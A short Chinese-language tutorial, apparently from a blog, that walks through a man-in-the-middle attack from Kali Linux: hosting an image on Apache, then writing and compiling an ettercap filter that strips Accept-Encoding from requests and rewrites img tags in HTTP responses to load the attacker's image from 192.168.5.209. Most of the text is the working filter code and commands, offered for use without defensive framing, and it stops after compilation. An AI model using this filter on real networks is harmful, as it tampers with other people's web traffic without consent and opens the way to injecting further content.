一:先准备一张图片
恩恩!低调点好!
我们将图片放大kali的var/www/html
目录下
二:启动Apache
servce apache2 start
三:编写攻击脚本
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
#msg("zapped Accept-Encoding! ");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("img src=", "img src=http://192.168.5.209/img.jpg/&' ");
replace("IMG SRC=", "img src=http:/192.168.5.209/img.jpg/&' ");
msg("过滤执行. ");
}
然后另存为alert.filter
文件
四:将alert.filter转变为二进制文件
etterfilter alert.filter -o alert.ef